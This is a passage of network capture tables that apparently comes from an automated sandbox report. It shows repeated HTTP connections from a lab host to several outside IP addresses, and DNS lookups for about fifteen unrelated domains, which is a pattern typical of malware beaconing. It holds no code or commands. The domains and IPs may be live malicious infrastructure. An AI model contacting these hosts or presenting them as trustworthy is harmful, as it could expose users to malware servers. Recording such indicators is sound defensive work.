May 16, 2024 17:19:29.574296951 CEST	80	49722	57.151.38.169	192.168.2.9
May 16, 2024 17:19:34.582067013 CEST	49723	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:34.588835955 CEST	80	49723	162.241.216.140	192.168.2.9
May 16, 2024 17:19:34.588938951 CEST	49723	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:34.590842962 CEST	49723	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:34.644843102 CEST	80	49723	162.241.216.140	192.168.2.9
May 16, 2024 17:19:35.267997980 CEST	80	49723	162.241.216.140	192.168.2.9
May 16, 2024 17:19:35.274241924 CEST	80	49723	162.241.216.140	192.168.2.9
May 16, 2024 17:19:35.274334908 CEST	49723	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:36.092104912 CEST	49723	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:37.110362053 CEST	49724	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:37.115406036 CEST	80	49724	162.241.216.140	192.168.2.9
May 16, 2024 17:19:37.115516901 CEST	49724	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:37.117289066 CEST	49724	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:37.167917013 CEST	80	49724	162.241.216.140	192.168.2.9
May 16, 2024 17:19:38.623622894 CEST	49724	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:38.628971100 CEST	80	49724	162.241.216.140	192.168.2.9
May 16, 2024 17:19:38.629070044 CEST	49724	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:39.648003101 CEST	49725	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:39.652972937 CEST	80	49725	162.241.216.140	192.168.2.9
May 16, 2024 17:19:39.653114080 CEST	49725	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:39.655404091 CEST	49725	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:39.660303116 CEST	80	49725	162.241.216.140	192.168.2.9
May 16, 2024 17:19:39.712876081 CEST	80	49725	162.241.216.140	192.168.2.9
May 16, 2024 17:19:40.897634983 CEST	80	49725	162.241.216.140	192.168.2.9
May 16, 2024 17:19:40.951421022 CEST	49725	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:41.170176983 CEST	49725	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:42.188783884 CEST	49726	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:42.201668024 CEST	80	49726	162.241.216.140	192.168.2.9
May 16, 2024 17:19:42.201762915 CEST	49726	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:42.203634977 CEST	49726	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:42.251948118 CEST	80	49726	162.241.216.140	192.168.2.9
May 16, 2024 17:19:43.052234888 CEST	80	49726	162.241.216.140	192.168.2.9
May 16, 2024 17:19:43.107605934 CEST	49726	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:43.354980946 CEST	80	49726	162.241.216.140	192.168.2.9
May 16, 2024 17:19:43.355142117 CEST	49726	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:43.356067896 CEST	49726	80	192.168.2.9	162.241.216.140
May 16, 2024 17:19:43.365406036 CEST	80	49726	162.241.216.140	192.168.2.9
May 16, 2024 17:19:48.462255955 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:48.467331886 CEST	80	49727	217.160.0.111	192.168.2.9
May 16, 2024 17:19:48.467427969 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:48.469305038 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:48.524044037 CEST	80	49727	217.160.0.111	192.168.2.9
May 16, 2024 17:19:49.188283920 CEST	80	49727	217.160.0.111	192.168.2.9
May 16, 2024 17:19:49.194152117 CEST	80	49727	217.160.0.111	192.168.2.9
May 16, 2024 17:19:49.194257021 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:49.203298092 CEST	80	49727	217.160.0.111	192.168.2.9
May 16, 2024 17:19:49.248214006 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:49.596793890 CEST	80	49727	217.160.0.111	192.168.2.9
May 16, 2024 17:19:49.596872091 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:50.412527084 CEST	49727	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:51.424556017 CEST	49728	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:51.429676056 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:51.429749966 CEST	49728	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:51.432033062 CEST	49728	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:51.483916998 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:52.113498926 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:52.118772984 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:52.118868113 CEST	49728	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:52.132638931 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:52.188060999 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:52.188090086 CEST	80	49728	217.160.0.111	192.168.2.9
May 16, 2024 17:19:52.188169003 CEST	49728	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:52.935866117 CEST	49728	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:53.954507113 CEST	49729	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:53.959471941 CEST	80	49729	217.160.0.111	192.168.2.9
May 16, 2024 17:19:53.962147951 CEST	49729	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:53.965930939 CEST	49729	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:53.971760035 CEST	80	49729	217.160.0.111	192.168.2.9
May 16, 2024 17:19:54.017270088 CEST	80	49729	217.160.0.111	192.168.2.9
May 16, 2024 17:19:55.467086077 CEST	49729	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:55.515187979 CEST	80	49729	217.160.0.111	192.168.2.9
May 16, 2024 17:19:56.269515038 CEST	80	49729	217.160.0.111	192.168.2.9
May 16, 2024 17:19:56.270112038 CEST	49729	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:56.485933065 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:56.491080999 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:56.492202044 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:56.497937918 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:56.543973923 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:57.187951088 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:57.190057039 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:57.190145016 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:57.194837093 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:57.199682951 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:57.199698925 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:19:57.199845076 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:57.199857950 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:57.202431917 CEST	49730	80	192.168.2.9	217.160.0.111
May 16, 2024 17:19:57.210866928 CEST	80	49730	217.160.0.111	192.168.2.9
May 16, 2024 17:20:03.040365934 CEST	49731	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:03.046504021 CEST	80	49731	91.195.240.123	192.168.2.9
May 16, 2024 17:20:03.046612024 CEST	49731	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:03.048419952 CEST	49731	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:03.104073048 CEST	80	49731	91.195.240.123	192.168.2.9
May 16, 2024 17:20:04.560791969 CEST	49731	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:04.566714048 CEST	80	49731	91.195.240.123	192.168.2.9
May 16, 2024 17:20:04.566812038 CEST	49731	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:05.580542088 CEST	49732	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:05.585521936 CEST	80	49732	91.195.240.123	192.168.2.9
May 16, 2024 17:20:05.585597038 CEST	49732	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:05.587965965 CEST	49732	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:05.636416912 CEST	80	49732	91.195.240.123	192.168.2.9
May 16, 2024 17:20:07.092062950 CEST	49732	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:07.097603083 CEST	80	49732	91.195.240.123	192.168.2.9
May 16, 2024 17:20:07.097702026 CEST	49732	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:08.117937088 CEST	49733	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:08.122992992 CEST	80	49733	91.195.240.123	192.168.2.9
May 16, 2024 17:20:08.123151064 CEST	49733	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:08.125835896 CEST	49733	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:08.130723000 CEST	80	49733	91.195.240.123	192.168.2.9
May 16, 2024 17:20:08.180879116 CEST	80	49733	91.195.240.123	192.168.2.9
May 16, 2024 17:20:09.638972044 CEST	49733	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:09.644553900 CEST	80	49733	91.195.240.123	192.168.2.9
May 16, 2024 17:20:09.644615889 CEST	49733	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:10.657918930 CEST	49734	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:10.663022995 CEST	80	49734	91.195.240.123	192.168.2.9
May 16, 2024 17:20:10.666063070 CEST	49734	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:10.669912100 CEST	49734	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:10.716489077 CEST	80	49734	91.195.240.123	192.168.2.9
May 16, 2024 17:20:20.951997042 CEST	80	49734	91.195.240.123	192.168.2.9
May 16, 2024 17:20:20.952133894 CEST	49734	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:20.953697920 CEST	49734	80	192.168.2.9	91.195.240.123
May 16, 2024 17:20:20.961786032 CEST	80	49734	91.195.240.123	192.168.2.9
May 16, 2024 17:20:26.151983023 CEST	49735	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:26.159240961 CEST	80	49735	162.0.237.22	192.168.2.9
May 16, 2024 17:20:26.159312010 CEST	49735	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:26.161324024 CEST	49735	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:26.216933966 CEST	80	49735	162.0.237.22	192.168.2.9
May 16, 2024 17:20:27.671992064 CEST	49735	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:27.677457094 CEST	80	49735	162.0.237.22	192.168.2.9
May 16, 2024 17:20:27.680314064 CEST	49735	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:28.689534903 CEST	49736	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:28.694514990 CEST	80	49736	162.0.237.22	192.168.2.9
May 16, 2024 17:20:28.694590092 CEST	49736	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:28.696790934 CEST	49736	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:28.751858950 CEST	80	49736	162.0.237.22	192.168.2.9
May 16, 2024 17:20:30.030138969 CEST	80	49736	162.0.237.22	192.168.2.9
May 16, 2024 17:20:30.076365948 CEST	49736	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:30.201611042 CEST	49736	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:31.220105886 CEST	49737	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:31.227965117 CEST	80	49737	162.0.237.22	192.168.2.9
May 16, 2024 17:20:31.229998112 CEST	49737	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:31.231916904 CEST	49737	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:31.236784935 CEST	80	49737	162.0.237.22	192.168.2.9
May 16, 2024 17:20:31.288918972 CEST	80	49737	162.0.237.22	192.168.2.9
May 16, 2024 17:20:32.106977940 CEST	80	49737	162.0.237.22	192.168.2.9
May 16, 2024 17:20:32.111676931 CEST	80	49737	162.0.237.22	192.168.2.9
May 16, 2024 17:20:32.111726999 CEST	49737	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:32.749934912 CEST	49737	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:33.768908024 CEST	49738	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:33.773974895 CEST	80	49738	162.0.237.22	192.168.2.9
May 16, 2024 17:20:33.774056911 CEST	49738	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:33.776360035 CEST	49738	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:33.827877998 CEST	80	49738	162.0.237.22	192.168.2.9
May 16, 2024 17:20:34.576129913 CEST	80	49738	162.0.237.22	192.168.2.9
May 16, 2024 17:20:34.580806017 CEST	80	49738	162.0.237.22	192.168.2.9
May 16, 2024 17:20:34.580888987 CEST	49738	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:34.581933022 CEST	49738	80	192.168.2.9	162.0.237.22
May 16, 2024 17:20:34.631911993 CEST	80	49738	162.0.237.22	192.168.2.9
May 16, 2024 17:21:04.293111086 CEST	49739	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:04.298228025 CEST	80	49739	103.168.172.37	192.168.2.9
May 16, 2024 17:21:04.298343897 CEST	49739	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:04.300153971 CEST	49739	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:04.351963043 CEST	80	49739	103.168.172.37	192.168.2.9
May 16, 2024 17:21:05.327138901 CEST	80	49739	103.168.172.37	192.168.2.9
May 16, 2024 17:21:05.373919010 CEST	49739	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:05.628823996 CEST	80	49739	103.168.172.37	192.168.2.9
May 16, 2024 17:21:05.628889084 CEST	49739	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:05.810842037 CEST	49739	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:06.829600096 CEST	49740	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:06.834656000 CEST	80	49740	103.168.172.37	192.168.2.9
May 16, 2024 17:21:06.834960938 CEST	49740	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:06.836740017 CEST	49740	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:06.887859106 CEST	80	49740	103.168.172.37	192.168.2.9
May 16, 2024 17:21:07.658236027 CEST	80	49740	103.168.172.37	192.168.2.9
May 16, 2024 17:21:07.701389074 CEST	49740	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:07.969113111 CEST	80	49740	103.168.172.37	192.168.2.9
May 16, 2024 17:21:07.969188929 CEST	49740	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:08.342179060 CEST	49740	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:09.361937046 CEST	49741	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:09.367019892 CEST	80	49741	103.168.172.37	192.168.2.9
May 16, 2024 17:21:09.367150068 CEST	49741	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:09.369940042 CEST	49741	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:09.374948025 CEST	80	49741	103.168.172.37	192.168.2.9
May 16, 2024 17:21:09.420994043 CEST	80	49741	103.168.172.37	192.168.2.9
May 16, 2024 17:21:10.088704109 CEST	80	49741	103.168.172.37	192.168.2.9
May 16, 2024 17:21:10.093367100 CEST	80	49741	103.168.172.37	192.168.2.9
May 16, 2024 17:21:10.093518972 CEST	49741	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:11.935194016 CEST	49741	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:12.939106941 CEST	49742	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:12.944066048 CEST	80	49742	103.168.172.37	192.168.2.9
May 16, 2024 17:21:12.950026035 CEST	49742	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:12.951994896 CEST	49742	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:13.000013113 CEST	80	49742	103.168.172.37	192.168.2.9
May 16, 2024 17:21:14.693639040 CEST	80	49742	103.168.172.37	192.168.2.9
May 16, 2024 17:21:14.795161009 CEST	49742	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:15.003943920 CEST	80	49742	103.168.172.37	192.168.2.9
May 16, 2024 17:21:15.004050970 CEST	49742	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:15.005039930 CEST	49742	80	192.168.2.9	103.168.172.37
May 16, 2024 17:21:15.013782978 CEST	80	49742	103.168.172.37	192.168.2.9
May 16, 2024 17:21:20.099391937 CEST	49743	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:20.104355097 CEST	80	49743	104.37.39.71	192.168.2.9
May 16, 2024 17:21:20.104557991 CEST	49743	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:20.106504917 CEST	49743	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:20.155953884 CEST	80	49743	104.37.39.71	192.168.2.9
May 16, 2024 17:21:20.928128958 CEST	80	49743	104.37.39.71	192.168.2.9
May 16, 2024 17:21:20.974327087 CEST	49743	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:21.241189003 CEST	80	49743	104.37.39.71	192.168.2.9
May 16, 2024 17:21:21.241235971 CEST	49743	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:21.607727051 CEST	49743	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:22.626288891 CEST	49744	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:22.631252050 CEST	80	49744	104.37.39.71	192.168.2.9
May 16, 2024 17:21:22.631395102 CEST	49744	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:22.633918047 CEST	49744	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:22.683861017 CEST	80	49744	104.37.39.71	192.168.2.9
May 16, 2024 17:21:23.629556894 CEST	80	49744	104.37.39.71	192.168.2.9
May 16, 2024 17:21:23.670124054 CEST	49744	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:23.929546118 CEST	80	49744	104.37.39.71	192.168.2.9
May 16, 2024 17:21:23.933932066 CEST	49744	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:24.141936064 CEST	49744	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:25.159159899 CEST	49745	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:25.164221048 CEST	80	49745	104.37.39.71	192.168.2.9
May 16, 2024 17:21:25.164299965 CEST	49745	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:25.166233063 CEST	49745	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:25.171094894 CEST	80	49745	104.37.39.71	192.168.2.9
May 16, 2024 17:21:25.216960907 CEST	80	49745	104.37.39.71	192.168.2.9
May 16, 2024 17:21:26.427087069 CEST	80	49745	104.37.39.71	192.168.2.9
May 16, 2024 17:21:26.485933065 CEST	49745	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:26.673924923 CEST	49745	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:27.707386971 CEST	49746	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:27.712357044 CEST	80	49746	104.37.39.71	192.168.2.9
May 16, 2024 17:21:27.712451935 CEST	49746	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:27.714375973 CEST	49746	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:27.764030933 CEST	80	49746	104.37.39.71	192.168.2.9
May 16, 2024 17:21:28.717398882 CEST	80	49746	104.37.39.71	192.168.2.9
May 16, 2024 17:21:28.765922070 CEST	49746	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:29.023097992 CEST	80	49746	104.37.39.71	192.168.2.9
May 16, 2024 17:21:29.023241043 CEST	49746	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:30.024355888 CEST	49746	80	192.168.2.9	104.37.39.71
May 16, 2024 17:21:30.029318094 CEST	80	49746	104.37.39.71	192.168.2.9
May 16, 2024 17:21:43.315769911 CEST	49747	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:43.320717096 CEST	80	49747	199.59.243.225	192.168.2.9
May 16, 2024 17:21:43.320795059 CEST	49747	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:43.322536945 CEST	49747	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:43.372037888 CEST	80	49747	199.59.243.225	192.168.2.9
May 16, 2024 17:21:43.887382984 CEST	80	49747	199.59.243.225	192.168.2.9
May 16, 2024 17:21:43.892095089 CEST	80	49747	199.59.243.225	192.168.2.9
May 16, 2024 17:21:43.894006968 CEST	49747	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:44.279480934 CEST	80	49747	199.59.243.225	192.168.2.9
May 16, 2024 17:21:44.281985044 CEST	49747	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:44.826555014 CEST	49747	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:45.844741106 CEST	49748	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:45.849765062 CEST	80	49748	199.59.243.225	192.168.2.9
May 16, 2024 17:21:45.849837065 CEST	49748	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:45.851510048 CEST	49748	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:45.908061981 CEST	80	49748	199.59.243.225	192.168.2.9
May 16, 2024 17:21:46.529448032 CEST	80	49748	199.59.243.225	192.168.2.9
May 16, 2024 17:21:46.534107924 CEST	80	49748	199.59.243.225	192.168.2.9
May 16, 2024 17:21:46.541924000 CEST	49748	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:46.935399055 CEST	80	49748	199.59.243.225	192.168.2.9
May 16, 2024 17:21:46.935600996 CEST	49748	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:47.733298063 CEST	49748	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:48.752171993 CEST	49749	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:48.757298946 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:48.757368088 CEST	49749	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:48.759565115 CEST	49749	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:48.764508963 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:48.812916994 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:49.398210049 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:49.402992010 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:49.403009892 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:49.403129101 CEST	49749	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:49.782943964 CEST	80	49749	199.59.243.225	192.168.2.9
May 16, 2024 17:21:49.783111095 CEST	49749	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:50.264045000 CEST	49749	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:51.269925117 CEST	49750	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:51.274900913 CEST	80	49750	199.59.243.225	192.168.2.9
May 16, 2024 17:21:51.275023937 CEST	49750	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:51.276734114 CEST	49750	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:51.327846050 CEST	80	49750	199.59.243.225	192.168.2.9
May 16, 2024 17:21:52.385963917 CEST	80	49750	199.59.243.225	192.168.2.9
May 16, 2024 17:21:52.390695095 CEST	80	49750	199.59.243.225	192.168.2.9
May 16, 2024 17:21:52.390800953 CEST	49750	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:52.761162043 CEST	80	49750	199.59.243.225	192.168.2.9
May 16, 2024 17:21:52.761378050 CEST	49750	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:52.762284040 CEST	49750	80	192.168.2.9	199.59.243.225
May 16, 2024 17:21:52.771821976 CEST	80	49750	199.59.243.225	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 16, 2024 17:18:46.281903028 CEST	59842	53	192.168.2.9	1.1.1.1
May 16, 2024 17:18:46.318281889 CEST	53	59842	1.1.1.1	192.168.2.9
May 16, 2024 17:19:03.737169027 CEST	49492	53	192.168.2.9	1.1.1.1
May 16, 2024 17:19:03.759160042 CEST	53	49492	1.1.1.1	192.168.2.9
May 16, 2024 17:19:19.260643005 CEST	62268	53	192.168.2.9	1.1.1.1
May 16, 2024 17:19:19.350558996 CEST	53	62268	1.1.1.1	192.168.2.9
May 16, 2024 17:19:48.417943001 CEST	51193	53	192.168.2.9	1.1.1.1
May 16, 2024 17:19:48.459769011 CEST	53	51193	1.1.1.1	192.168.2.9
May 16, 2024 17:20:02.230272055 CEST	63045	53	192.168.2.9	1.1.1.1
May 16, 2024 17:20:03.037931919 CEST	53	63045	1.1.1.1	192.168.2.9
May 16, 2024 17:20:25.971894026 CEST	49996	53	192.168.2.9	1.1.1.1
May 16, 2024 17:20:26.148905993 CEST	53	49996	1.1.1.1	192.168.2.9
May 16, 2024 17:20:39.596889973 CEST	50382	53	192.168.2.9	1.1.1.1
May 16, 2024 17:20:39.629744053 CEST	53	50382	1.1.1.1	192.168.2.9
May 16, 2024 17:20:47.689915895 CEST	62424	53	192.168.2.9	1.1.1.1
May 16, 2024 17:20:47.707596064 CEST	53	62424	1.1.1.1	192.168.2.9
May 16, 2024 17:20:55.767719984 CEST	50742	53	192.168.2.9	1.1.1.1
May 16, 2024 17:20:55.798949957 CEST	53	50742	1.1.1.1	192.168.2.9
May 16, 2024 17:21:03.863369942 CEST	59089	53	192.168.2.9	1.1.1.1
May 16, 2024 17:21:04.290478945 CEST	53	59089	1.1.1.1	192.168.2.9
May 16, 2024 17:21:20.027964115 CEST	57602	53	192.168.2.9	1.1.1.1
May 16, 2024 17:21:20.094080925 CEST	53	57602	1.1.1.1	192.168.2.9
May 16, 2024 17:21:35.033628941 CEST	61937	53	192.168.2.9	1.1.1.1
May 16, 2024 17:21:35.046552896 CEST	53	61937	1.1.1.1	192.168.2.9
May 16, 2024 17:21:43.112194061 CEST	59200	53	192.168.2.9	1.1.1.1
May 16, 2024 17:21:43.313507080 CEST	53	59200	1.1.1.1	192.168.2.9
May 16, 2024 17:21:57.769927025 CEST	58153	53	192.168.2.9	1.1.1.1
May 16, 2024 17:21:57.805222988 CEST	53	58153	1.1.1.1	192.168.2.9
May 16, 2024 17:22:05.861922979 CEST	58742	53	192.168.2.9	1.1.1.1
May 16, 2024 17:22:05.880093098 CEST	53	58742	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 16, 2024 17:18:46.281903028 CEST	192.168.2.9	1.1.1.1	0xa694	Standard query (0)	www.dty377.com	A (IP address)	IN (0x0001)	false
May 16, 2024 17:19:03.737169027 CEST	192.168.2.9	1.1.1.1	0xa5b3	Standard query (0)	www.lenslaser.com	A (IP address)	IN (0x0001)	false
May 16, 2024 17:19:19.260643005 CEST	192.168.2.9	1.1.1.1	0x2f2c	Standard query (0)	www.allinone24.shop	A (IP address)	IN (0x0001)	false
May 16, 2024 17:19:48.417943001 CEST	192.168.2.9	1.1.1.1	0x603a	Standard query (0)	www.carliente.com	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:02.230272055 CEST	192.168.2.9	1.1.1.1	0x9287	Standard query (0)	www.walletweb367.top	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:25.971894026 CEST	192.168.2.9	1.1.1.1	0xef21	Standard query (0)	www.deaybrid.info	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:39.596889973 CEST	192.168.2.9	1.1.1.1	0x6f1	Standard query (0)	www.prizesupermarket.com	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:47.689915895 CEST	192.168.2.9	1.1.1.1	0x2fdc	Standard query (0)	www.jrksa.info	A (IP address)	IN (0x0001)	false
May 16, 2024 17:20:55.767719984 CEST	192.168.2.9	1.1.1.1	0x969c	Standard query (0)	www.cookedatthebottom.com	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:03.863369942 CEST	192.168.2.9	1.1.1.1	0x8a39	Standard query (0)	www.celebration24.co.uk	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:20.027964115 CEST	192.168.2.9	1.1.1.1	0xc2c5	Standard query (0)	www.gledingakademiet.no	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:35.033628941 CEST	192.168.2.9	1.1.1.1	0xb704	Standard query (0)	www.alfaspa.net	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:43.112194061 CEST	192.168.2.9	1.1.1.1	0xfeb6	Standard query (0)	www.zwervertjes.be	A (IP address)	IN (0x0001)	false
May 16, 2024 17:21:57.769927025 CEST	192.168.2.9	1.1.1.1	0x6c3e	Standard query (0)	www.maerealtysg.com	A (IP address)	IN (0x0001)	false
May 16, 2024 17:22:05.861922979 CEST	192.168.2.9	1.1.1.1	0xb7ad	Standard query (0)	www.polhi.lol	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
